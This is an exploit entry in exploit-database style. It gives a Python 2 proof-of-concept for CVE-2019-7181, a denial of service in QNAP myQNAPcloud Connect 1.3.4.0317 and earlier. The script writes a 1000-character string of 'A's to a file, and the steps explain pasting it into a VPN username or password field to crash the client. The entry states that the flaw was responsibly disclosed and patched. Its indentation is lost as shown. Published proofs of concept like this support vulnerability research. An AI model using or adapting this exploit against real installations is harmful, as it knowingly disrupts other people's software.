QNAP myQNAPcloud Connect 1.3.4.0317 Username/Password Denial Of Service

`#!/usr/bin/python  
# Exploit Title: QNAP myQNAPcloud Connect "Username/Password" DOS  
# Date: 19/04/2019  
# Exploit Author: Dino Covotsos - Telspace Systems  
# Vendor Homepage: https://www.qnap.com  
# Version: 1.3.4.0317 and below are vulnerable  
# Software Link: https://www.qnap.com/en/utilities/essentials  
# Contact: services[@]telspace.co.za  
# Twitter: @telspacesystems (Greets to the Telspace Crew)  
# Tested on: Windows XP/7/10 (version 1.3.3.0925)  
# CVE: CVE-2019-7181  
# POC  
# 1.) Generate qnap.txt  
# 2.) Copy the contents of qnap.txt to the clipboard  
# 3.) Paste the contents in any username/password field(Add or Edit VPN)  
# 4.) Click ok, program crashes.  
# This vulnerability was responsibly disclosed February 3, 2019, new version has been released.  
  
buffer = "A" * 1000  
  
payload = buffer  
try:  
f=open("qnap.txt","w")  
print "[+] Creating %s bytes QNAP payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`